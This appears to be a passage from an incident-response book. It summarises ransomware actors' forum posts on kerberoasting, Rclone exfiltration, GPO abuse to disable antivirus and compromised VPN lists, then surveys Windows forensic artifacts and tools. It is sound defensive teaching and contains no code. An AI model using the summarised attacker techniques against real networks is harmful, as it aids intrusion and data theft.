This post advertises the REvil RaaS program and depicts the requirements for affiliates. First of all, we can see that potential affiliates must be aware of common data storage types, which are commonly used for storing backups. These include **network-attached storage** (**NAS**) and **tape-based data storage**.

Next, the threat actor notes that potential affiliates should be ready to use various post-exploitation frameworks. Here are some examples of these:

* Metasploit Framework
* Cobalt Strike
* Koadic

Also, affiliates should be able to perform attacks against AD environments, including **kerberoasting attacks**, which allow threat actors to extract service account credential hashes and use them to crack passwords offline.

Finally, as many modern corporate environments use virtualization, the ability to understand and attack technologies such as **Hyper-V** is a must for affiliates.

As you can see, in some cases, threat actors share quite a lot of information on their affiliates' potential TTPs.

Another thing threat actors commonly do is comment on various problems presented by other forum members. For example, here is an opinion on data exfiltration techniques by a **LockBit ransomware** representative under the moniker *LockBitSupp*:

Figure 6.7 – A post by LockBitSupp__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.7 – A post by LockBitSupp

In the post, the threat actor describes a common process leveraged by ransomware affiliates to exfiltrate data from a compromised network. According to the actor, affiliates usually use Rclone and accounts from common cloud storage providers, such as **MEGA** and **pCloud**.

At the same time, the threat actor notes that some RaaS programs offer custom stealers for data exfiltration.

In fact, they are just trying to advertise **StealBit**, a custom exfiltration tool offered to LockBit ransomware affiliates.

Another post by the same threat actor is devoted to disabling antivirus software enterprise-wide, as we can see here:

Figure 6.8 – A post by LockBitSupp__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.8 – A post by LockBitSupp

Abusing **Group Policy Objects** (**GPOs**) is indeed a very common way of executing various scripts enterprise-wide and not just disabling security products. Interestingly enough, the LockBit ransomware itself has a built-in capability to abuse GPOs to distribute itself through the enterprise network.

The last post we are going to look at is a post by one of LockBit ransomware's affiliates under the moniker *uhodiransomwar*, which we can see here:

Figure 6.9 – A post by uhodiransomwar__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 6.9 – A post by uhodiransomwar

In this thread, the threat actor shares a list of compromised Pulse Secure VPN servers, so other ransomware affiliates can use them for gaining initial access to networks. Most likely, the servers were vulnerable to *CVE-2019-11510*, which allowed the threat actor to obtain legitimate credentials via arbitrary file reading.

As you can see, there are a lot of opportunities to collect actionable CTI that could be of great help in your ransomware IR engagements.

Summary

In this chapter, we have looked at various sources of ransomware-related CTI. We've analyzed a couple of open source reports and extracted valuable pieces of data to allow us to reconstruct various parts of the attack life cycle and transform them into CTI.

We've learned how to analyze social media to extract pieces of cyber threat data shared by representatives of the cyber security community.

Finally, we've looked deep into underground forums and learned how to receive CTI directly from the adversary—ransomware affiliates.

Now, as you've already learned a lot about human-operated ransomware attacks and have a clear understanding of how such attacks actually work, you are ready to dive into the process of investigation.

In the next chapter, we'll look at the main sources of digital forensic artifacts that allow incident responders to reconstruct a human-operated ransomware attack and understand what exactly was done during its life cycle.

*Chapter 7*: Digital Forensic Artifacts and Their Main Sources

We've already learned a lot about human-operated ransomware attacks in general – common tactics, techniques, and procedures leveraged by threat actors, as well as how to collect actionable cyber threat intelligence to speed up our investigations. So, it's high time we focused on the investigation itself.

If you are reading this book, I'm almost sure you've heard about Locard's exchange principle. Want a reminder? Well, alright – the principle is *that the perpetrator of a crime will bring something into the crime scene and leave with something from it, and that both can be used as forensic evidence.* Sounds familiar, right?

We can bring this principle to our real-life experience and observe that ransomware affiliates bring their tools, including the ransomware itself, and most likely exfiltrate a good amount of sensitive data.

We already know that the human-operated ransomware attack life cycle is quite complex, so how can we determine which techniques were used by the threat actors at various stages? The answer is – digital forensics!

In this chapter, we'll look at various sources of digital forensic artifacts, which can help incident responders to reconstruct a ransomware attack. Digital forensics allows us to uncover, discover, and recover data points that can help mitigate a cyber attack or risk.

We'll focus on the following sources:

* Volatile memory collection and analysis
* Non-volatile data collection
* Master file table
* Prefetch files
* LNK files
* Jump lists
* System Resource Usage Monitor
* Web browsers
* Windows Registry
* Windows event logs
* Other log sources

Volatile memory collection and analysis

As many threat actors leverage various *living-off-the-land* techniques, volatile memory analysis may provide key artifacts an incident responder needs to properly reconstruct techniques. Such techniques can sometimes help threat actors to fly under the radar of the security stack.

As volatile data is commonly stored within the **Random Access Memory** (**RAM**) of a device, usually it involves leveraging memory dumping techniques.

There are a bunch of tools that can be used to dump volatile memory. Here are some of them:

* AccessData FTK Imager ([**https://accessdata.com/product-download/ftk-imager-version-4-5**](https://accessdata.com/product-download/ftk-imager-version-4-5))
* Belkasoft RAM Capturer ([**https://belkasoft.com/ram-capturer**](https://belkasoft.com/ram-capturer))
* Magnet RAM Capturer ([**https://www.magnetforensics.com/resources/magnet-ram-capture/**](https://www.magnetforensics.com/resources/magnet-ram-capture/))

The main thing you must remember is to never copy acquisition tools and the resulting memory dump to the same device you are dumping it from. Use an external drive or a network share. Why? Because you can easily overwrite potential sources of digital evidence!

Here's an example of memory acquisition with help of AccessData FTK Imager:

Figure 7.1 – Acquiring memory with AccessData FTK Imager__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.1 – Acquiring memory with AccessData FTK Imager

Once you created a memory dump, it's ready to be analyzed. A very common tool for memory dumps analysis is Volatility – an open source framework for memory forensics.

Currently, there are two versions of the tool:

* Volatility 2 ([**https://www.volatilityfoundation.org/releases**](https://www.volatilityfoundation.org/releases))
* Volatility 3 ([**https://www.volatilityfoundation.org/releases-vol3**](https://www.volatilityfoundation.org/releases-vol3))

Both versions require at least some command shell skills, but as both of them have robust documentation, a bit of practice may help you to overcome any skills shortage quickly.

Another tool worth mentioning is **Volatility Workbench** by PassMark software, which is actually a **Graphical User Interface** (**GUI**) for Volatility. So, if you don't like command shell for some reason, this tool may be a good alternative:

Figure 7.2 – Running the Volatility plugin via PassMark Volatility Workbench__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.2 – Running the Volatility plugin via PassMark Volatility Workbench

Memory dump analysis may reveal a lot of attack-related artifacts, which may be later transformed into valuable IoCs, so the threats can be detected enterprise-wide.

There are versions of PassMark Volatility Workbench for both Volatility 2 and Volatility 3. Both versions can be downloaded from [**https://www.osforensics.com/tools/volatility-workbench.html**](https://www.osforensics.com/tools/volatility-workbench.html).

Of course, in some cases, dumping memory may not be the best idea. In the beginning, you may not be sure which hosts to focus on and dumping memory for further analysis from hundreds of machines may be a very time-consuming and ineffective strategy.

There are tools that enable an incident responder to perform live analysis. Do you remember Process Hacker? Yes, this same tool can be leveraged by defenders to triage volatile data, including running processes, their command lines, and, of course, network connections, just to name a few. Here's an example of using Process Hacker for live analysis:

Figure 7.3 – Triaging running processes with Process Hacker__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.3 – Triaging running processes with Process Hacker

Process Hacker is available for download at [**https://processhacker.sourceforge.io/downloads.php**](https://processhacker.sourceforge.io/downloads.php).

It may be surprising, but volatile memory artifacts may be found not only in memory dumps. There are a few system files containing memory remnants as well:

* **pagefile.sys** – This file is located in the root of the system drive (usually **C:\**) and is used to store page-size blocks of memory, which are not used currently, so it extends the size of physical memory using the drive space. This file can't be analyzed using Volatility, but still there are tools capable of aiding incident responders with analysis, for example, **page\_brute** ([**https://github.com/matonis/page\_brute**](https://github.com/matonis/page_brute)).
* **hiberfil.sys** – This is a Windows hibernation file, which is stored in the system root as well and is used to save the machine state in case of hibernation. This file can be converted using the **imagecopy** Volatility plugin, and then analyzed like a regular memory dump using the same tool.

As we have started to talk about filesystem artifacts, let's move forward and look at how this can help us to investigate human-operated ransomware attacks. But first, let's learn how to collect non-volatile data – the data that will be available even if the system is powered down.

Non-volatile data collection

Before we dive into the various sources of non-volatile data sources, let's learn how to collect data sources. Of course, you must have heard about forensic images – bit stream copies of digital media. Yes, in some cases, we still create such copies; for example, for the initially compromised host, which may contain lots of various artifacts related to the threat actors' activities. Such images may be created with AccessData FTK Imager:

Figure 7.4 – Creating a bit stream image with AccessData FTK Imager__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.4 – Creating a bit stream image with AccessData FTK Imager

But, in many cases, you have quite a lot of compromised hosts, so creating images of every system may be quite a daunting task. Instead, you may want to create a triage image – it will contain a number of files as well as some additional data, such as information on network connections.

A pretty good tool for collecting triage data is Live Response Collection ([**https://www.brimorlabs.com/Tools/LiveResponseCollection-Cedarpelta.zip**](https://www.brimorlabs.com/Tools/LiveResponseCollection-Cedarpelta.zip)) by Brian Moran:

Figure 7.5 – Creating a triage image with Live Response Collection__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.5 – Creating a triage image with Live Response Collection

An interesting fact is that you can collect not only the triage data with this tool, but also acquire memory and even create bit stream images! Just don't forget to run it from an external drive or a network share.

However, even such an approach may not be acceptable, and you may need data collection that is even more targeted. Here comes **Kroll Artifact Parser and Extractor** (**KAPE**) – it allows incident responders to perform very targeted and lightweight collections. Since it has both GUI and command-line versions, it can easily run even enterprise-wide:

Figure 7.6 – Targeted collection with KAPE__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.6 – Targeted collection with KAPE

What's more, KAPE isn't about collection only, you can also use it for processing automation! There are agent-based solutions as well that are capable of performing live data collection, including open source. A good example is Velociraptor ([**https://github.com/Velocidex/velociraptor**](https://github.com/Velocidex/velociraptor)).

Many EDR/XDR solutions also have the capability to collect forensic artifacts. For example, let's look at the data collection options of Group-IB Threat Hunting Framework Huntpoint:

Figure 7.7 – Forensic data collection options of Group-IB Threat Hunting Framework Huntpoint__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.7 – Forensic data collection options of Group-IB Threat Hunting Framework Huntpoint

EDR/XDR solutions themselves can be very good sources of forensic artifacts, as they constantly collect information about running processes, network connections, file and registry modifications, and so on. As you can see, there are quite a few options and approaches for both volatile and non-volatile data collection. Let's move forward and look at various digital forensic artifacts sources.

Master file table

A filesystem contains a lot of different artifacts that can help us in our investigation process. Furthermore, Windows Registry and various logs are also part of the filesystem, but as they are quite complex, we're going to look at them separately.

The most common filesystem type you'll face during your ransomware attacks investigations is the **New Technology File System** (**NTFS**). Currently, this is the most common filesystem for Windows, which as you already know, is the main target of ransomware affiliates. Despite the fact that there is an increased interest in Linux systems, usually the threat actors get there through Windows infrastructure compromise, so we'll focus on this operating system.

As incident responders, we're very interested in metadata analysis, so let's dive into one of the core components of NTFS – the **Master File Table** (**MFT**). It contains information about filenames, locations, sizes, and, of course, their timestamps. We can use the information extracted from an MFT to build timelines that can help us recover information about the files that were created and even used by the threat actors.

This information can be extracted from **$MFT** metafile. Metafiles, including the file in question, that is, **$MFT**, can be extracted using various digital forensic tools. An example of such a tool is AccessData FTK Imager:

Figure 7.8 – $MFT and other NTFS metafiles as seen in AccessData FTK Imager__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.8 – $MFT and other NTFS metafiles as seen in AccessData FTK Imager

I'm not going to bore you with NTFS internals, as there are a lot of good sources of this information. So, if you are interested in an in-depth understanding, just refer to them. A good example is *File System Forensic Analysis* by Brian Carrier: [**https://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172**](https://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172).

Now, what's next after you have extracted the **$MFT metafile**? There are two ways – browse it directly, or first parse it and then analyze the parsed data.

This is where I should start referencing Eric Zimmerman – 2019 Digital Forensic Investigator of the Year and SANS Instructor – and his award-winning set of free tools for digital forensic analysis. The tools are available at [**https://ericzimmerman.github.io/#!index.md**](https://ericzimmerman.github.io/#!index.md).

If you prefer to browse **$MFT** directly, there's an option for you – **MFTExplorer**. Unfortunately, such browsers are not very fast, so I would recommend parsing it first. Of course, there's a tool for this as well – **MFTECmd**.

Using this tool, you can easily convert data from **$MFT** to an easily readable **Comma-Separated Values** (**CSV**) file, which is ready to be analyzed with any of your favorite tools, such as Microsoft Excel. Another tool you can use is in Eric Zimmerman's toolkit – **Timeline Explorer**. Here's an example of how parsed **$MFT** file looks in Timeline Explorer:

Figure 7.9 – Parsed $MFT opened in Timeline Explorer__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.9 – Parsed $MFT opened in Timeline Explorer

Timeline Explorer can help you to choose the columns you want to focus on. It also has robust filtering capabilities, so you can easily reduce the noise.

There are many useful sources of artifacts the Windows operating system can offer an incident responder. Let's start with those helping us collect evidence of execution. We'll discuss prefetch files first.

Prefetch files

Prefetch files are located under **C:\Window\Prefetch** and are used to increase system performance by preloading code pages of commonly used applications.

These files have a **.pf** extension and contain program execution timestamps and the number of runs, as well as a referenced folders and files list.

Prefetch files can be parsed with **PECmd**:

Figure 7.10 – A part of PECmd output__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.10 – A part of PECmd output

Of course, prefetch files are not the only source of evidence of execution and more will be discussed in the *Windows Registry* and *Windows event logs* sections.

Now let's look at some artifacts of file access – LNK files and jump lists.

LNK files

LNK files are automatically created by the Windows operating system once a user (or an attacker) opens a local or a remote file. These files can be found under the following locations:

* **C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\**
* **C:\%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent\**

Among other data, such files contain the timestamps both for the LNK itself and the file it points to. It is the file that was opened (and may be deleted already, by the way).

Again, there's a tool for parsing such files, **LECmd**:

Figure 7.11 – A part of LECmd output__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.11 – A part of LECmd output

As you can see in the screenshot, here we have evidence that the threat actors dumped LSASS – a very common technique for credentials access.

Let's look at another similar filesystem source of digital forensic artifacts – jump lists.

Jump lists

Jump lists are a feature of the Windows taskbar that allow users to see a list of recently accessed items. Of course, this feature can also be used by digital forensic analysts and incident responders to examine the list of recently accessed files.

These files can be found at **C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations**.

There's a GUI tool for browsing the contents of such files – JumpList Explorer:

Figure 7.12 – Browsing jump lists with JumpList Explorer__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.12 – Browsing jump lists with JumpList Explorer

As you can see in the preceding screenshot, jump lists contain information not only about accessed files, but also, for example, about hosts accessed via RDP! It's extremely useful when we are investigating lateral movement.

But what about data exfiltration? Let's look at **System Resource Usage Monitor** (**SRUM**)!

SRUM

This Windows feature is used to monitor system performance and can provide an incident responder with information on how much data was sent/received per application per hour, which is crucial for data exfiltration investigations.

The database with SRUM data is located at **C:\Windows\System32\SRU**.

To parse it properly, you may also need the **SOFTWARE** registry file, located under **C:\Windows\System32\config**.

Both of these files can be parsed with help of **SrumECmd**. The resulting files can be browsed with **Timeline Explorer**:

Figure 7.13 – Browsing parsed SRUM data with Timeline Explorer__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.13 – Browsing parsed SRUM data with Timeline Explorer

What else do threat actors use for data exfiltration and lateral tool transfer? Web browsers, of course!

Web browsers

Web browsers are commonly used both by regular users, who are potential victims of spear-phishing attacks, and threat actors, who usually use them for downloading additional tooling and data exfiltration.

Let's focus on three main browsers – Microsoft Edge, Google Chrome, and Mozilla Firefox.

The main source of browser-related evidence is, of course, the history. Browsing history analysis may reveal locations from which the ransomware affiliates downloaded their tooling or, for example, uploaded collected data. Usually, this data is stored in SQLite databases, which can be found here:

* **Microsoft Edge**: **C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\History**
* **Google Chrome**: **C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\History**
* **Mozilla Firefox**: **C:\Users\%USERPNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite**

As these are SQLite databases, they can be analyzed either manually using, for example, DB Browser for SQLite ([**https://sqlitebrowser.org/dl/**](https://sqlitebrowser.org/dl/)), or parsed with specialized browser forensics tools, for example, BrowsingHistoryView ([**https://www.nirsoft.net/utils/browsing\_history\_view.html**](https://www.nirsoft.net/utils/browsing_history_view.html)):

Figure 7.14 – Web history parsed with BrowsingHistoryView__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.14 – Web history parsed with BrowsingHistoryView

Of course, browsing history isn't the only useful forensic artifact. Others include cookies and the cache.

Cookies allow web browsers to track and save information about each user's session, so the browser can also reveal information about which websites were visited. This information is also stored in SQLite databases:

* **Microsoft Edge**: **C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Cookies**
* **Google Chrome**: **C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Cookies**
* **Mozilla Firefox**: **C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite**

The last browser-related artifact I want to mention is the cache. These are web page components saved (or cached) locally so that the page loads faster once visited next time.

Here are the locations of such files for each browser:

* **Microsoft Edge**: **C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Cache**
* **Google Chrome**: **C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Cache**
* **Mozilla Firefox**: **C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\Cache**

There are multiple tools capable of interpreting data stored in cache files. Some of them are ChromeCacheView ([**https://www.nirsoft.net/utils/chrome\_cache\_view.html**](https://www.nirsoft.net/utils/chrome_cache_view.html)), MozillaCacheView ([**https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html**](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)), and many more.

Now, let's move forward and look at another source of digital forensic artifacts – Windows Registry.

Windows Registry

Windows Registry is a hierarchical database that stores various configuration settings, and, of course, a lot of valuable information about program execution and user activities.

Let's start with Registry-related file locations. The first three files I want to mention are **SAM**, **SYSTEM**, and **SOFTWARE**. These files are located under **C:\Windows\System32\config**.

The next two files are **NTUSER.DAT** and **USRCLASS.DAT**. There's a copy of both files in every user profile, so the first file is located under **C:\Users\%USERNAME%**, and the second under **C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows**.

One more important file, **Amcache.hve**, is located under **C:\Windows\AppCompat\Programs**.

The last registry file I want to mention is **Syscache.hve**, which is located under the **C:\System Volume Information** folder. It's not very common and is available only in Windows 7 and Windows Server 2008 R2 installations, but it can still be very useful, as it contains SHA1 hashes for executed binaries.

Now, let's look at the most common sources of evidence of execution you can find during Windows registry file analysis:

* **UserAssist** (**NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\{GUID}\Count**): This contains information about GUI-based programs run by the user and includes information about run count and last execution date and time.
* **ShimCache** (**SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache**): This contains information about executed programs, including their paths, size, and last modification dates.
* **Amcache** (**Amcache.hve\Root\File\{Volume GUID}\#######**): This contains information about executed programs, including their paths, SHA1 hashes, and first execution timestamps.

Of course, execution artifacts are not the only digital forensic artifacts you can extract from Windows Registry. Another notable example is artifacts that contain evidence of recently accessed files and folders. Let's look at some of the most common examples:

* **Most Recently Used (MRU)** (**NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU**): This contains lists of recently accessed files based on their extensions.
* **Recent files** (**NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs**): This acts as another source of information on recently accessed files.
* **Shell bags** (**USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags**): This contains the list of recently accessed folders, including network shares and removable devices.

These are just a few examples of valuable artifacts that can be found in Windows Registry. Others include various persistence mechanisms, remote access artifacts, and more.

There are various approaches to registry analysis. For example, you may prefer to analyze it manually, focusing on keyword searches generated based on indicators of compromise you may have. For example, you can use Registry Explorer ([**https://f001.backblazeb2.com/file/EricZimmermanTools/RegistryExplorer.zip**](https://f001.backblazeb2.com/file/EricZimmermanTools/RegistryExplorer.zip)) – another great tool by Eric Zimmerman – which will allow you to look at both extracted registry files and live registry, including the deleted keys and values:

Figure 7.15 – SYSTEM registry file from a live system opened in Registry Explorer__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.15 – SYSTEM registry file from a live system opened in Registry Explorer

Despite the fact I recommended this tool for manual analysis, it has a bunch of plugins for parsing common artifacts as well.

Another great tool for registry analysis worth mentioning is RegRipper ([**https://github.com/keydet89/RegRipper3.0**](https://github.com/keydet89/RegRipper3.0)) by Harlan Carvey. It has both GUI and command-line versions and has various plugins for parsing registry artifacts. Furthermore, you can write additional plugins yourself!

Now, let's look at the next valuable source of digital forensic artifacts – Windows event logs.

Windows event logs

Event logging is a built-in mechanism for documenting various events related to the Windows operating system and various applications. It can be an extremely valuable source of evidence related to a human-operated ransomware attack as well.

In some cases, the threat actors may remove such logs to cover their traces, but even this may be a good indicator that the host was compromised.

By default, these log files are located under **C:\Windows\System32\winevt\Logs** and have the **.evtx** extension. Here are a few examples of these files:

Figure 7.16 – Windows event log files listed in AccessData FTK Imager__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_1756500677171__


Figure 7.16 – Windows event log files listed in AccessData FTK Imager

Windows event logs can also be collected by implementing a SIEM (it's a very good idea to make sure the correct logs are captured) or EDR/XDR solution.

Let's look at some commonly used log files and event IDs:

* **Security:**
  + **4624** – A logon to a system has occurred.
  + **4625** – A failed logon attempt.
  + **4720** – A user account was created.
  + **4732** – A member was added to a security-enabled local group.
* **System:**
  + **7045** – A service was installed by the system.
  + **7040** – The start type for a service was changed.
  + **7036** – A service was stopped or started.
* **Windows PowerShell:**
  + **400** – Indicates the start of command execution or session.
* **Microsoft-Windows-TerminalServices-LocalSessionManager/Operational:**
  + **21** – Session logon succeeded.
  + **24** – Session has been disconnected.
  + **25** – Session reconnection succeeded.
* **OAlerts:**
  + **300** – An alert generated by Microsoft Office.
* **Microsoft-Windows-TaskScheduler/Operational:**
  + **106** - Scheduled task created.
  + **200** - Scheduled task executed.
  + **201** - Scheduled task completed.
* **Microsoft-Windows-Windows-Defender/Operational:**
  + **1117** – The anti-malware platform performed an action to protect your system from malware or other potentially unwanted software.

It's not the complete list but, as you can see, there are quite a few useful events that may be of great help in our incident response engagements.

Windows event logging isn't the only source of logs. Let's look at other sources that can be of potential interest to us.

Other log sources

Let's finish this chapter by listing a few additional log sources that may play a critical role in your investigation:

* **Anti-virus software logs** – As you already know, ransomware affiliates may use quite a few tools, so at least some of them will be detected by anti-virus software. These logs may provide you with a few good pivot points.
* **Firewall logs** – These logs may provide you with great insights into network connections, including malicious connections. These are an extremely valuable source of forensic data, especially if they store data for a long time period, and you have at least some network indicators of compromise.
* **VPN logs** – These are some of the common vectors of obtaining initial access to the network. So, they can also reveal some information about the threat actors' network infrastructure. GeoIP analysis may be quite useful. Is it common for your client's employees to connect to the network from Russia?
* **Proxy server logs** – Again, if you have some network indicators or just want to hunt for anomalies, check whether a proxy server is available.
* **Web server logs** – Do you still remember about web shells? If you suspect ransomware affiliates used a web shell to maintain the initial foothold, make sure you've checked web server logs.
* **Mail server logs** – Such servers may also be vulnerable; just remember Conti affiliates, who used ProxyLogon to gain the initial access. In this case, mail server logs may also be quite helpful.

That's it. Now that you have quite a good knowledge of various digital forensic artifacts sources, you are ready to jump to the most interesting part – the investigation itself.

Summary

In this chapter, we have looked at the most common sources of digital forensic artifacts that can help incident responders in the investigation of human-operated ransomware attacks.

We not only looked through some common relevant filesystems, registries, and log locations and sources, but also learned how to collect both volatile and non-volatile information, as well as how to parse collected data so it's converted to a human-readable format ready for in-depth forensic analysis.

Now you are ready to dive into more practical tasks – real attack reconstruction of human-operated ransomware attacks based on various digital forensic artifacts.

In the next chapter, we'll look at a few initial access scenarios, use our acquired knowledge to understand how ransomware affiliates maintained the initial foothold, and start performing post-exploitation activities.